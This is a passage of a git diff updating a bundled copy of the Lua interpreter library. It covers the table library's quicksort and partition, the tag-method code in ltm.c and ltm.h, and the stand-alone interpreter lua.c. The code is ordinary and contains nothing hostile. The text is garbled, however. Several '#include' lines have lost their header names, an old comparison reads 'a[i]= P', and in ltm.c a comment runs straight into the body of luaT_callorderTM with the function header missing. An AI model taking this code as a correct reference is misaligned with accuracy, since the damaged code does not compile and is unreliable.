a[lo] <= P == a[up-1] <= a[up], +** so it only needs to do the partition from lo + 1 to up - 2. +** Pos-condition: a[lo .. i - 1] <= a[i] == P <= a[i + 1 .. up] +** returns 'i'. +*/ +static IdxT partition(lua_State *L, IdxT lo, IdxT up) { + IdxT i = lo; /* will be incremented before first use */ + IdxT j = up - 1; /* will be decremented before first use */ + /* loop invariant: a[lo .. i] <= P <= a[j .. up] */ + for (;;) { + /* next loop: repeat ++i while a[i] < P */ + while ((void)lua_geti(L, 1, ++i), sort_comp(L, -1, -2)) { + if (l_unlikely(i == up - 1)) /* a[i] < P but a[up - 1] == P ?? */ + luaL_error(L, "invalid order function for sorting"); + lua_pop(L, 1); /* remove a[i] */ + } + /* after the loop, a[i] >= P and a[lo .. i - 1] < P */ + /* next loop: repeat --j while P < a[j] */ + while ((void)lua_geti(L, 1, --j), sort_comp(L, -3, -1)) { + if (l_unlikely(j < i)) /* j < i but a[j] > P ?? */ + luaL_error(L, "invalid order function for sorting"); + lua_pop(L, 1); /* remove a[j] */ + } + /* after the loop, a[j] <= P and a[j + 1 .. up] >= P */ + if (j < i) { /* no elements out of place? */ + /* a[lo .. i - 1] <= P <= a[j + 1 .. i .. up] */ + lua_pop(L, 1); /* pop a[j] */ + /* swap pivot (a[up - 1]) with a[i] to satisfy pos-condition */ + set2(L, up - 1, i); + return i; + } + /* otherwise, swap a[i] - a[j] to restore invariant and repeat */ + set2(L, i, j); + } +} + + +/* +** Choose an element in the middle (2nd-3th quarters) of [lo,up] +** "randomized" by 'rnd' +*/ +static IdxT choosePivot(IdxT lo, IdxT up, unsigned int rnd) { + IdxT r4 = (up - lo) / 4; /* range/4 */ + IdxT p = rnd % (r4 * 2) + (lo + r4); + lua_assert(lo + r4 <= p && p <= up - r4); + return p; +} + + +/* +** Quicksort algorithm (recursive function) +*/ +static void auxsort(lua_State *L, IdxT lo, IdxT up, + unsigned int rnd) { + while (lo < up) { /* loop for tail recursion */ + IdxT p; /* Pivot index */ + IdxT n; /* to be used later */ + /* sort elements 'lo', 'p', and 'up' */ + lua_geti(L, 1, lo); + lua_geti(L, 1, up); + if (sort_comp(L, -1, -2)) /* a[up] < a[lo]? */ + set2(L, lo, up); /* swap a[lo] - a[up] */ else - lua_pop(L, 2); - if (u - l == 1) break; /* only 2 elements */ - i = (l + u) / 2; - lua_rawgeti(L, 1, i); - lua_rawgeti(L, 1, l); - if (sort_comp(L, -2, -1)) /* a[i]= P */ - while (lua_rawgeti(L, 1, ++i), sort_comp(L, -1, -2)) { - if (i >= u) luaL_error(L, "invalid order function for sorting"); - lua_pop(L, 1); /* remove a[i] */ - } - /* repeat --j until a[j] <= P */ - while (lua_rawgeti(L, 1, --j), sort_comp(L, -3, -1)) { - if (j <= l) luaL_error(L, "invalid order function for sorting"); - lua_pop(L, 1); /* remove a[j] */ - } - if (j < i) { - lua_pop(L, 3); /* pop pivot, a[i], a[j] */ - break; - } - set2(L, i, j); - } - lua_rawgeti(L, 1, u - 1); - lua_rawgeti(L, 1, i); - set2(L, u - 1, i); /* swap pivot (a[u-1]) with a[i] */ - /* a[l..i-1] <= a[i] == P <= a[i+1..u] */ - /* adjust so that smaller half is in [j..i] and larger one in [l..u] */ - if (i - l < u - i) { - j = l; - i = i - 1; - l = i + 2; + if (up - lo == 2) /* only 3 elements? */ + return; /* already sorted */ + lua_geti(L, 1, p); /* get middle element (Pivot) */ + lua_pushvalue(L, -1); /* push Pivot */ + lua_geti(L, 1, up - 1); /* push a[up - 1] */ + set2(L, p, up - 1); /* swap Pivot (a[p]) with a[up - 1] */ + p = partition(L, lo, up); + /* a[lo .. p - 1] <= a[p] == P <= a[p + 1 .. up] */ + if (p - lo < up - p) { /* lower interval is smaller? */ + auxsort(L, lo, p - 1, rnd); /* call recursively for lower interval */ + n = p - lo; /* size of smaller interval */ + lo = p + 1; /* tail call for [p + 1 .. up] (upper interval) */ } else { - j = i + 1; - i = u; - u = j - 2; + auxsort(L, p + 1, up, rnd); /* call recursively for upper interval */ + n = up - p; /* size of smaller interval */ + up = p - 1; /* tail call for [lo .. p - 1] (lower interval) */ } - auxsort(L, j, i); /* call recursively the smaller one */ - } /* repeat the routine for the larger one */ + if ((up - lo) / 128 > n) /* partition too imbalanced? */ + rnd = l_randomizePivot(); /* try a new randomization */ + } /* tail call auxsort(L, lo, up, rnd) */ } + static int sort(lua_State *L) { - int n = aux_getn(L, 1); - luaL_checkstack(L, 40, ""); /* assume array is smaller than 2^40 */ - if (!lua_isnoneornil(L, 2)) /* is there a 2nd argument? */ - luaL_checktype(L, 2, LUA_TFUNCTION); - lua_settop(L, 2); /* make sure there is two arguments */ - auxsort(L, 1, n); + lua_Integer n = aux_getn(L, 1, TAB_RW); + if (n > 1) { /* non-trivial interval? */ + luaL_argcheck(L, n < INT_MAX, 1, "array too big"); + if (!lua_isnoneornil(L, 2)) /* is there a 2nd argument? */ + luaL_checktype(L, 2, LUA_TFUNCTION); /* must be a function */ + lua_settop(L, 2); /* make sure there are two arguments */ + auxsort(L, 1, (IdxT)n, 0); + } return 0; } @@ -266,13 +410,11 @@ static int sort(lua_State *L) { static const luaL_Reg tab_funcs[] = { {"concat", tconcat}, -#if defined(LUA_COMPAT_MAXN) - {"maxn", maxn}, -#endif {"insert", tinsert}, - {"pack", pack}, - {"unpack", unpack}, + {"pack", tpack}, + {"unpack", tunpack}, {"remove", tremove}, + {"move", tmove}, {"sort", sort}, {NULL, NULL} }; @@ -280,11 +422,6 @@ static const luaL_Reg tab_funcs[] = { LUAMOD_API int luaopen_table(lua_State *L) { luaL_newlib(L, tab_funcs); -#if defined(LUA_COMPAT_UNPACK) - /* _G.unpack = table.unpack */ - lua_getfield(L, -1, "unpack"); - lua_setglobal(L, "unpack"); -#endif return 1; } diff --git a/client/deps/liblua/ltm.c b/client/deps/liblua/ltm.c index d4cc888aa..f459add61 100644 --- a/client/deps/liblua/ltm.c +++ b/client/deps/liblua/ltm.c @@ -1,31 +1,37 @@ /* -** $Id: ltm.c,v 2.14 2011/06/02 19:31:40 roberto Exp $ +** $Id: ltm.c $ ** Tag methods ** See Copyright Notice in lua.h */ - -#include - #define ltm_c #define LUA_CORE +#include "lprefix.h" + + +#include + #include "lua.h" +#include "ldebug.h" +#include "ldo.h" +#include "lgc.h" #include "lobject.h" #include "lstate.h" #include "lstring.h" #include "ltable.h" #include "ltm.h" +#include "lvm.h" static const char udatatypename[] = "userdata"; -LUAI_DDEF const char *const luaT_typenames_[LUA_TOTALTAGS] = { +LUAI_DDEF const char *const luaT_typenames_[LUA_TOTALTYPES] = { "no value", "nil", "boolean", udatatypename, "number", "string", "table", "function", udatatypename, "thread", - "proto", "upval" /* these last two cases are used for tests only */ + "upvalue", "proto" /* these last cases are used for tests only */ }; @@ -33,14 +39,16 @@ void luaT_init(lua_State *L) { static const char *const luaT_eventname[] = { /* ORDER TM */ "__index", "__newindex", "__gc", "__mode", "__len", "__eq", - "__add", "__sub", "__mul", "__div", "__mod", - "__pow", "__unm", "__lt", "__le", - "__concat", "__call" + "__add", "__sub", "__mul", "__mod", "__pow", + "__div", "__idiv", + "__band", "__bor", "__bxor", "__shl", "__shr", + "__unm", "__bnot", "__lt", "__le", + "__concat", "__call", "__close" }; int i; for (i = 0; i < TM_N; i++) { G(L)->tmname[i] = luaS_new(L, luaT_eventname[i]); - luaS_fix(G(L)->tmname[i]); /* never collect these names */ + luaC_fix(L, obj2gco(G(L)->tmname[i])); /* never collect these names */ } } @@ -50,9 +58,9 @@ void luaT_init(lua_State *L) { ** tag methods */ const TValue *luaT_gettm(Table *events, TMS event, TString *ename) { - const TValue *tm = luaH_getstr(events, ename); + const TValue *tm = luaH_getshortstr(events, ename); lua_assert(event <= TM_EQ); - if (ttisnil(tm)) { /* no tag method? */ + if (notm(tm)) { /* no tag method? */ events->flags |= cast_byte(1u << event); /* cache this fact */ return NULL; } else return tm; @@ -61,7 +69,7 @@ const TValue *luaT_gettm(Table *events, TMS event, TString *ename) { const TValue *luaT_gettmbyobj(lua_State *L, const TValue *o, TMS event) { Table *mt; - switch (ttypenv(o)) { + switch (ttype(o)) { case LUA_TTABLE: mt = hvalue(o)->metatable; break; @@ -69,8 +77,198 @@ const TValue *luaT_gettmbyobj(lua_State *L, const TValue *o, TMS event) { mt = uvalue(o)->metatable; break; default: - mt = G(L)->mt[ttypenv(o)]; + mt = G(L)->mt[ttype(o)]; } - return (mt ? luaH_getstr(mt, G(L)->tmname[event]) : luaO_nilobject); + return (mt ? luaH_getshortstr(mt, G(L)->tmname[event]) : &G(L)->nilvalue); +} + + +/* +** Return the name of the type of an object. For tables and userdata +** with metatable, use their '__name' metafield, if present. +*/ +const char *luaT_objtypename(lua_State *L, const TValue *o) { + Table *mt; + if ((ttistable(o) && (mt = hvalue(o)->metatable) != NULL) || + (ttisfulluserdata(o) && (mt = uvalue(o)->metatable) != NULL)) { + const TValue *name = luaH_getshortstr(mt, luaS_new(L, "__name")); + if (ttisstring(name)) /* is '__name' a string? */ + return getstr(tsvalue(name)); /* use it as type name */ + } + return ttypename(ttype(o)); /* else use standard type name */ +} + + +void luaT_callTM(lua_State *L, const TValue *f, const TValue *p1, + const TValue *p2, const TValue *p3) { + StkId func = L->top.p; + setobj2s(L, func, f); /* push function (assume EXTRA_STACK) */ + setobj2s(L, func + 1, p1); /* 1st argument */ + setobj2s(L, func + 2, p2); /* 2nd argument */ + setobj2s(L, func + 3, p3); /* 3rd argument */ + L->top.p = func + 4; + /* metamethod may yield only when called from Lua code */ + if (isLuacode(L->ci)) + luaD_call(L, func, 0); + else + luaD_callnoyield(L, func, 0); +} + + +void luaT_callTMres(lua_State *L, const TValue *f, const TValue *p1, + const TValue *p2, StkId res) { + ptrdiff_t result = savestack(L, res); + StkId func = L->top.p; + setobj2s(L, func, f); /* push function (assume EXTRA_STACK) */ + setobj2s(L, func + 1, p1); /* 1st argument */ + setobj2s(L, func + 2, p2); /* 2nd argument */ + L->top.p += 3; + /* metamethod may yield only when called from Lua code */ + if (isLuacode(L->ci)) + luaD_call(L, func, 1); + else + luaD_callnoyield(L, func, 1); + res = restorestack(L, result); + setobjs2s(L, res, --L->top.p); /* move result to its place */ +} + + +static int callbinTM(lua_State *L, const TValue *p1, const TValue *p2, + StkId res, TMS event) { + const TValue *tm = luaT_gettmbyobj(L, p1, event); /* try first operand */ + if (notm(tm)) + tm = luaT_gettmbyobj(L, p2, event); /* try second operand */ + if (notm(tm)) return 0; + luaT_callTMres(L, tm, p1, p2, res); + return 1; +} + + +void luaT_trybinTM(lua_State *L, const TValue *p1, const TValue *p2, + StkId res, TMS event) { + if (l_unlikely(!callbinTM(L, p1, p2, res, event))) { + switch (event) { + case TM_BAND: + case TM_BOR: + case TM_BXOR: + case TM_SHL: + case TM_SHR: + case TM_BNOT: { + if (ttisnumber(p1) && ttisnumber(p2)) + luaG_tointerror(L, p1, p2); + else + luaG_opinterror(L, p1, p2, "perform bitwise operation on"); + } + /* calls never return, but to avoid warnings: *//* FALLTHROUGH */ + default: + luaG_opinterror(L, p1, p2, "perform arithmetic on"); + } + } +} + + +void luaT_tryconcatTM(lua_State *L) { + StkId top = L->top.p; + if (l_unlikely(!callbinTM(L, s2v(top - 2), s2v(top - 1), top - 2, + TM_CONCAT))) + luaG_concaterror(L, s2v(top - 2), s2v(top - 1)); +} + + +void luaT_trybinassocTM(lua_State *L, const TValue *p1, const TValue *p2, + int flip, StkId res, TMS event) { + if (flip) + luaT_trybinTM(L, p2, p1, res, event); + else + luaT_trybinTM(L, p1, p2, res, event); +} + + +void luaT_trybiniTM(lua_State *L, const TValue *p1, lua_Integer i2, + int flip, StkId res, TMS event) { + TValue aux; + setivalue(&aux, i2); + luaT_trybinassocTM(L, p1, &aux, flip, res, event); +} + + +/* +** Calls an order tag method. +** For lessequal, LUA_COMPAT_LT_LE keeps compatibility with old +** behavior: if there is no '__le', try '__lt', based on l <= r iff +** !(r < l) (assuming a total order). If the metamethod yields during +** this substitution, the continuation has to know about it (to negate +** the result of rtop.p, event)) /* try original event */ + return !l_isfalse(s2v(L->top.p)); +#if defined(LUA_COMPAT_LT_LE) + else if (event == TM_LE) { + /* try '!(p2 < p1)' for '(p1 <= p2)' */ + L->ci->callstatus |= CIST_LEQ; /* mark it is doing 'lt' for 'le' */ + if (callbinTM(L, p2, p1, L->top.p, TM_LT)) { + L->ci->callstatus ^= CIST_LEQ; /* clear mark */ + return l_isfalse(s2v(L->top.p)); + } + /* else error will remove this 'ci'; no need to clear mark */ + } +#endif + luaG_ordererror(L, p1, p2); /* no metamethod found */ + return 0; /* to avoid warnings */ +} + + +int luaT_callorderiTM(lua_State *L, const TValue *p1, int v2, + int flip, int isfloat, TMS event) { + TValue aux; + const TValue *p2; + if (isfloat) { + setfltvalue(&aux, cast_num(v2)); + } else + setivalue(&aux, v2); + if (flip) { /* arguments were exchanged? */ + p2 = p1; + p1 = &aux; /* correct them */ + } else + p2 = &aux; + return luaT_callorderTM(L, p1, p2, event); +} + + +void luaT_adjustvarargs(lua_State *L, int nfixparams, CallInfo *ci, + const Proto *p) { + int i; + int actual = cast_int(L->top.p - ci->func.p) - 1; /* number of arguments */ + int nextra = actual - nfixparams; /* number of extra arguments */ + ci->u.l.nextraargs = nextra; + luaD_checkstack(L, p->maxstacksize + 1); + /* copy function to the top of the stack */ + setobjs2s(L, L->top.p++, ci->func.p); + /* move fixed parameters to the top of the stack */ + for (i = 1; i <= nfixparams; i++) { + setobjs2s(L, L->top.p++, ci->func.p + i); + setnilvalue(s2v(ci->func.p + i)); /* erase original parameter (for GC) */ + } + ci->func.p += actual + 1; + ci->top.p += actual + 1; + lua_assert(L->top.p <= ci->top.p && ci->top.p <= L->stack_last.p); +} + + +void luaT_getvarargs(lua_State *L, CallInfo *ci, StkId where, int wanted) { + int i; + int nextra = ci->u.l.nextraargs; + if (wanted < 0) { + wanted = nextra; /* get all extra arguments available */ + checkstackGCp(L, nextra, where); /* ensure stack space */ + L->top.p = where + nextra; /* next instruction will need top */ + } + for (i = 0; i < wanted && i < nextra; i++) + setobjs2s(L, where + i, ci->func.p - nextra + i); + for (; i < wanted; i++) /* complete required results with nil */ + setnilvalue(s2v(where + i)); } diff --git a/client/deps/liblua/ltm.h b/client/deps/liblua/ltm.h index 638eb9370..0b257ae1b 100644 --- a/client/deps/liblua/ltm.h +++ b/client/deps/liblua/ltm.h @@ -1,5 +1,5 @@ /* -** $Id: ltm.h,v 2.11 2011/02/28 17:32:10 roberto Exp $ +** $Id: ltm.h $ ** Tag methods ** See Copyright Notice in lua.h */ @@ -13,7 +13,7 @@ /* * WARNING: if you change the order of this enumeration, -* grep "ORDER TM" +* grep "ORDER TM" and "ORDER OP" */ typedef enum { TM_INDEX, @@ -21,37 +21,83 @@ typedef enum { TM_GC, TM_MODE, TM_LEN, - TM_EQ, /* last tag method with `fast' access */ + TM_EQ, /* last tag method with fast access */ TM_ADD, TM_SUB, TM_MUL, - TM_DIV, TM_MOD, TM_POW, + TM_DIV, + TM_IDIV, + TM_BAND, + TM_BOR, + TM_BXOR, + TM_SHL, + TM_SHR, TM_UNM, + TM_BNOT, TM_LT, TM_LE, TM_CONCAT, TM_CALL, - TM_N /* number of elements in the enum */ + TM_CLOSE, + TM_N /* number of elements in the enum */ } TMS; +/* +** Mask with 1 in all fast-access methods. A 1 in any of these bits +** in the flag of a (meta)table means the metatable does not have the +** corresponding metamethod field. (Bit 7 of the flag is used for +** 'isrealasize'.) +*/ +#define maskflags (~(~0u << (TM_EQ + 1))) + + +/* +** Test whether there is no tagmethod. +** (Because tagmethods use raw accesses, the result may be an "empty" nil.) +*/ +#define notm(tm) ttisnil(tm) + #define gfasttm(g,et,e) ((et) == NULL ? NULL : \ - ((et)->flags & (1u<<(e))) ? NULL : luaT_gettm(et, e, (g)->tmname[e])) + ((et)->flags & (1u<<(e))) ? NULL : luaT_gettm(et, e, (g)->tmname[e])) -#define fasttm(l,et,e) gfasttm(G(l), et, e) +#define fasttm(l,et,e) gfasttm(G(l), et, e) -#define ttypename(x) luaT_typenames_[(x) + 1] -#define objtypename(x) ttypename(ttypenv(x)) +#define ttypename(x) luaT_typenames_[(x) + 1] -LUAI_DDEC const char *const luaT_typenames_[LUA_TOTALTAGS]; +LUAI_DDEC(const char *const luaT_typenames_[LUA_TOTALTYPES];) +LUAI_FUNC const char *luaT_objtypename(lua_State *L, const TValue *o); + LUAI_FUNC const TValue *luaT_gettm(Table *events, TMS event, TString *ename); LUAI_FUNC const TValue *luaT_gettmbyobj(lua_State *L, const TValue *o, TMS event); LUAI_FUNC void luaT_init(lua_State *L); +LUAI_FUNC void luaT_callTM(lua_State *L, const TValue *f, const TValue *p1, + const TValue *p2, const TValue *p3); +LUAI_FUNC void luaT_callTMres(lua_State *L, const TValue *f, + const TValue *p1, const TValue *p2, StkId p3); +LUAI_FUNC void luaT_trybinTM(lua_State *L, const TValue *p1, const TValue *p2, + StkId res, TMS event); +LUAI_FUNC void luaT_tryconcatTM(lua_State *L); +LUAI_FUNC void luaT_trybinassocTM(lua_State *L, const TValue *p1, + const TValue *p2, int inv, StkId res, TMS event); +LUAI_FUNC void luaT_trybiniTM(lua_State *L, const TValue *p1, lua_Integer i2, + int inv, StkId res, TMS event); +LUAI_FUNC int luaT_callorderTM(lua_State *L, const TValue *p1, + const TValue *p2, TMS event); +LUAI_FUNC int luaT_callorderiTM(lua_State *L, const TValue *p1, int v2, + int inv, int isfloat, TMS event); + +LUAI_FUNC void luaT_adjustvarargs(lua_State *L, int nfixparams, + struct CallInfo *ci, const Proto *p); +LUAI_FUNC void luaT_getvarargs(lua_State *L, struct CallInfo *ci, + StkId where, int wanted); + + #endif diff --git a/client/deps/liblua/lua.c b/client/deps/liblua/lua.c index bcc55febc..b130fca25 100644 --- a/client/deps/liblua/lua.c +++ b/client/deps/liblua/lua.c @@ -1,16 +1,19 @@ /* -** $Id: lua.c,v 1.206 2012/09/29 20:07:06 roberto Exp $ +** $Id: lua.c $ ** Lua stand-alone interpreter ** See Copyright Notice in lua.h */ +#define lua_c + +#include "lprefix.h" + -#include #include #include #include -#define lua_c +#include #include "lua.h" @@ -18,41 +21,412 @@ #include "lualib.h" -#if !defined(LUA_PROMPT) -#define LUA_PROMPT "> " -#define LUA_PROMPT2 ">> " +#if !defined(LUA_PROGNAME) +#define LUA_PROGNAME "lua" #endif -#if !defined(LUA_PROGNAME) -#define LUA_PROGNAME "lua" +#if !defined(LUA_INIT_VAR) +#define LUA_INIT_VAR "LUA_INIT" +#endif + +#define LUA_INITVARVERSION LUA_INIT_VAR LUA_VERSUFFIX + + +static lua_State *globalL = NULL; + +static const char *progname = LUA_PROGNAME; + + +#if defined(LUA_USE_POSIX) /* { */ + +/* +** Use 'sigaction' when available. +*/ +static void setsignal(int sig, void (*handler)(int)) { + struct sigaction sa; + sa.sa_handler = handler; + sa.sa_flags = 0; + sigemptyset(&sa.sa_mask); /* do not mask any signal */ + sigaction(sig, &sa, NULL); +} + +#else /* }{ */ + +#define setsignal signal + +#endif /* } */ + + +/* +** Hook set by signal function to stop the interpreter. +*/ +static void lstop(lua_State *L, lua_Debug *ar) { + (void)ar; /* unused arg. */ + lua_sethook(L, NULL, 0, 0); /* reset hook */ + luaL_error(L, "interrupted!"); +} + + +/* +** Function to be called at a C signal. Because a C signal cannot +** just change a Lua state (as there is no proper synchronization), +** this function only sets a hook that, when called, will stop the +** interpreter. +*/ +static void laction(int i) { + int flag = LUA_MASKCALL | LUA_MASKRET | LUA_MASKLINE | LUA_MASKCOUNT; + setsignal(i, SIG_DFL); /* if another SIGINT happens, terminate process */ + lua_sethook(globalL, lstop, flag, 1); +} + + +static void print_usage(const char *badoption) { + lua_writestringerror("%s: ", progname); + if (badoption[1] == 'e' || badoption[1] == 'l') + lua_writestringerror("'%s' needs argument\n", badoption); + else + lua_writestringerror("unrecognized option '%s'\n", badoption); + lua_writestringerror( + "usage: %s [options] [script [args]]\n" + "Available options are:\n" + " -e stat execute string 'stat'\n" + " -i enter interactive mode after executing 'script'\n" + " -l mod require library 'mod' into global 'mod'\n" + " -l g=mod require library 'mod' into global 'g'\n" + " -v show version information\n" + " -E ignore environment variables\n" + " -W turn warnings on\n" + " -- stop handling options\n" + " - stop handling options and execute stdin\n" + , + progname); +} + + +/* +** Prints an error message, adding the program name in front of it +** (if present) +*/ +static void l_message(const char *pname, const char *msg) { + if (pname) lua_writestringerror("%s: ", pname); + lua_writestringerror("%s\n", msg); +} + + +/* +** Check whether 'status' is not OK and, if so, prints the error +** message on the top of the stack. +*/ +static int report(lua_State *L, int status) { + if (status != LUA_OK) { + const char *msg = lua_tostring(L, -1); + if (msg == NULL) + msg = "(error message not a string)"; + l_message(progname, msg); + lua_pop(L, 1); /* remove message */ + } + return status; +} + + +/* +** Message handler used to run all chunks +*/ +static int msghandler(lua_State *L) { + const char *msg = lua_tostring(L, 1); + if (msg == NULL) { /* is error object not a string? */ + if (luaL_callmeta(L, 1, "__tostring") && /* does it have a metamethod */ + lua_type(L, -1) == LUA_TSTRING) /* that produces a string? */ + return 1; /* that is the message */ + else + msg = lua_pushfstring(L, "(error object is a %s value)", + luaL_typename(L, 1)); + } + luaL_traceback(L, L, msg, 1); /* append a standard traceback */ + return 1; /* return the traceback */ +} + + +/* +** Interface to 'lua_pcall', which sets appropriate message function +** and C-signal handler. Used to run all chunks. +*/ +static int docall(lua_State *L, int narg, int nres) { + int status; + int base = lua_gettop(L) - narg; /* function index */ + lua_pushcfunction(L, msghandler); /* push message handler */ + lua_insert(L, base); /* put it under function and args */ + globalL = L; /* to be available to 'laction' */ + setsignal(SIGINT, laction); /* set C-signal handler */ + status = lua_pcall(L, narg, nres, base); + setsignal(SIGINT, SIG_DFL); /* reset C-signal handler */ + lua_remove(L, base); /* remove message handler from the stack */ + return status; +} + + +static void print_version(void) { + lua_writestring(LUA_COPYRIGHT, strlen(LUA_COPYRIGHT)); + lua_writeline(); +} + + +/* +** Create the 'arg' table, which stores all arguments from the +** command line ('argv'). It should be aligned so that, at index 0, +** it has 'argv[script]', which is the script name. The arguments +** to the script (everything after 'script') go to positive indices; +** other arguments (before the script name) go to negative indices. +** If there is no script name, assume interpreter's name as base. +** (If there is no interpreter's name either, 'script' is -1, so +** table sizes are zero.) +*/ +static void createargtable(lua_State *L, char **argv, int argc, int script) { + int i, narg; + narg = argc - (script + 1); /* number of positive indices */ + lua_createtable(L, narg, script + 1); + for (i = 0; i < argc; i++) { + lua_pushstring(L, argv[i]); + lua_rawseti(L, -2, i - script); + } + lua_setglobal(L, "arg"); +} + + +static int dochunk(lua_State *L, int status) { + if (status == LUA_OK) status = docall(L, 0, 0); + return report(L, status); +} + + +static int dofile(lua_State *L, const char *name) { + return dochunk(L, luaL_loadfile(L, name)); +} + + +static int dostring(lua_State *L, const char *s, const char *name) { + return dochunk(L, luaL_loadbuffer(L, s, strlen(s), name)); +} + + +/* +** Receives 'globname[=modname]' and runs 'globname = require(modname)'. +** If there is no explicit modname and globname contains a '-', cut +** the suffix after '-' (the "version") to make the global name. +*/ +static int dolibrary(lua_State *L, char *globname) { + int status; + char *suffix = NULL; + char *modname = strchr(globname, '='); + if (modname == NULL) { /* no explicit name? */ + modname = globname; /* module name is equal to global name */ + suffix = strchr(modname, *LUA_IGMARK); /* look for a suffix mark */ + } else { + *modname = '\0'; /* global name ends here */ + modname++; /* module name starts after the '=' */ + } + lua_getglobal(L, "require"); + lua_pushstring(L, modname); + status = docall(L, 1, 1); /* call 'require(modname)' */ + if (status == LUA_OK) { + if (suffix != NULL) /* is there a suffix mark? */ + *suffix = '\0'; /* remove suffix from global name */ + lua_setglobal(L, globname); /* globname = require(modname) */ + } + return report(L, status); +} + + +/* +** Push on the stack the contents of table 'arg' from 1 to #arg +*/ +static int pushargs(lua_State *L) { + int i, n; + if (lua_getglobal(L, "arg") != LUA_TTABLE) + luaL_error(L, "'arg' is not a table"); + n = (int)luaL_len(L, -1); + luaL_checkstack(L, n + 3, "too many arguments to script"); + for (i = 1; i <= n; i++) + lua_rawgeti(L, -i, i); + lua_remove(L, -i); /* remove table from the stack */ + return n; +} + + +static int handle_script(lua_State *L, char **argv) { + int status; + const char *fname = argv[0]; + if (strcmp(fname, "-") == 0 && strcmp(argv[-1], "--") != 0) + fname = NULL; /* stdin */ + status = luaL_loadfile(L, fname); + if (status == LUA_OK) { + int n = pushargs(L); /* push arguments to script */ + status = docall(L, n, LUA_MULTRET); + } + return report(L, status); +} + + +/* bits of various argument indicators in 'args' */ +#define has_error 1 /* bad option */ +#define has_i 2 /* -i */ +#define has_v 4 /* -v */ +#define has_e 8 /* -e */ +#define has_E 16 /* -E */ + + +/* +** Traverses all arguments from 'argv', returning a mask with those +** needed before running any Lua code or an error code if it finds any +** invalid argument. In case of error, 'first' is the index of the bad +** argument. Otherwise, 'first' is -1 if there is no program name, +** 0 if there is no script name, or the index of the script name. +*/ +static int collectargs(char **argv, int *first) { + int args = 0; + int i; + if (argv[0] != NULL) { /* is there a program name? */ + if (argv[0][0]) /* not empty? */ + progname = argv[0]; /* save it */ + } else { /* no program name */ + *first = -1; + return 0; + } + for (i = 1; argv[i] != NULL; i++) { /* handle arguments */ + *first = i; + if (argv[i][0] != '-') /* not an option? */ + return args; /* stop handling options */ + switch (argv[i][1]) { /* else check option */ + case '-': /* '--' */ + if (argv[i][2] != '\0') /* extra characters after '--'? */ + return has_error; /* invalid option */ + *first = i + 1; + return args; + case '\0': /* '-' */ + return args; /* script "name" is '-' */ + case 'E': + if (argv[i][2] != '\0') /* extra characters? */ + return has_error; /* invalid option */ + args |= has_E; + break; + case 'W': + if (argv[i][2] != '\0') /* extra characters? */ + return has_error; /* invalid option */ + break; + case 'i': + args |= has_i; /* (-i implies -v) *//* FALLTHROUGH */ + case 'v': + if (argv[i][2] != '\0') /* extra characters? */ + return has_error; /* invalid option */ + args |= has_v; + break; + case 'e': + args |= has_e; /* FALLTHROUGH */ + case 'l': /* both options need an argument */ + if (argv[i][2] == '\0') { /* no concatenated argument? */ + i++; /* try next 'argv' */ + if (argv[i] == NULL || argv[i][0] == '-') + return has_error; /* no next argument or it is another option */ + } + break; + default: /* invalid option */ + return has_error; + } + } + *first = 0; /* no script name */ + return args; +} + + +/* +** Processes options 'e' and 'l', which involve running Lua code, and +** 'W', which also affects the state. +** Returns 0 if some code raises an error. +*/ +static int runargs(lua_State *L, char **argv, int n) { + int i; + for (i = 1; i < n; i++) { + int option = argv[i][1]; + lua_assert(argv[i][0] == '-'); /* already checked */ + switch (option) { + case 'e': + case 'l': { + int status; + char *extra = argv[i] + 2; /* both options need an argument */ + if (*extra == '\0') extra = argv[++i]; + lua_assert(extra != NULL); + status = (option == 'e') + ? dostring(L, extra, "=(command line)") + : dolibrary(L, extra); + if (status != LUA_OK) return 0; + break; + } + case 'W': + lua_warning(L, "@on", 0); /* warnings on */ + break; + } + } + return 1; +} + + +static int handle_luainit(lua_State *L) { + const char *name = "=" LUA_INITVARVERSION; + const char *init = getenv(name + 1); + if (init == NULL) { + name = "=" LUA_INIT_VAR; + init = getenv(name + 1); /* try alternative name */ + } + if (init == NULL) return LUA_OK; + else if (init[0] == '@') + return dofile(L, init + 1); + else + return dostring(L, init, name); +} + + +/* +** {================================================================== +** Read-Eval-Print Loop (REPL) +** =================================================================== +*/ + +#if !defined(LUA_PROMPT) +#define LUA_PROMPT "> " +#define LUA_PROMPT2 ">> " #endif #if !defined(LUA_MAXINPUT) -#define LUA_MAXINPUT 512 +#define LUA_MAXINPUT 512 #endif -#if !defined(LUA_INIT) -#define LUA_INIT "LUA_INIT" -#endif - -#define LUA_INITVERSION \ - LUA_INIT "_" LUA_VERSION_MAJOR "_" LUA_VERSION_MINOR - /* ** lua_stdin_is_tty detects whether the standard input is a 'tty' (that ** is, whether we're running lua interactively). */ -#if defined(LUA_USE_ISATTY) +#if !defined(lua_stdin_is_tty) /* { */ + +#if defined(LUA_USE_POSIX) /* { */ + #include -#define lua_stdin_is_tty() isatty(0) -#elif defined(LUA_WIN) +#define lua_stdin_is_tty() isatty(0) + +#elif defined(LUA_USE_WINDOWS) /* }{ */ + #include -#include -#define lua_stdin_is_tty() _isatty(_fileno(stdin)) -#else -#define lua_stdin_is_tty() 1 /* assume stdin is a tty */ -#endif +#include + +#define lua_stdin_is_tty() _isatty(_fileno(stdin)) + +#else /* }{ */ + +/* ISO C definition */ +#define lua_stdin_is_tty() 1 /* assume stdin is a tty */ + +#endif /* } */ + +#endif /* } */ /* @@ -61,189 +435,56 @@ ** lua_saveline defines how to "save" a read line in a "history". ** lua_freeline defines how to free a line read by lua_readline. */ -#if defined(LUA_USE_READLINE) +#if !defined(lua_readline) /* { */ + +#if defined(LUA_USE_READLINE) /* { */ -#include #include #include -#define lua_readline(L,b,p) ((void)L, ((b)=readline(p)) != NULL) -#define lua_saveline(L,idx) \ - if (lua_rawlen(L,idx) > 0) /* non-empty line? */ \ - add_history(lua_tostring(L, idx)); /* add it to history */ -#define lua_freeline(L,b) ((void)L, free(b)) +#define lua_initreadline(L) ((void)L, rl_readline_name="lua") +#define lua_readline(L,b,p) ((void)L, ((b)=readline(p)) != NULL) +#define lua_saveline(L,line) ((void)L, add_history(line)) +#define lua_freeline(L,b) ((void)L, free(b)) -#elif !defined(lua_readline) +#else /* }{ */ +#define lua_initreadline(L) ((void)L) #define lua_readline(L,b,p) \ - ((void)L, fputs(p, stdout), fflush(stdout), /* show prompt */ \ - fgets(b, LUA_MAXINPUT, stdin) != NULL) /* get line */ -#define lua_saveline(L,idx) { (void)L; (void)idx; } -#define lua_freeline(L,b) { (void)L; (void)b; } + ((void)L, fputs(p, stdout), fflush(stdout), /* show prompt */ \ + fgets(b, 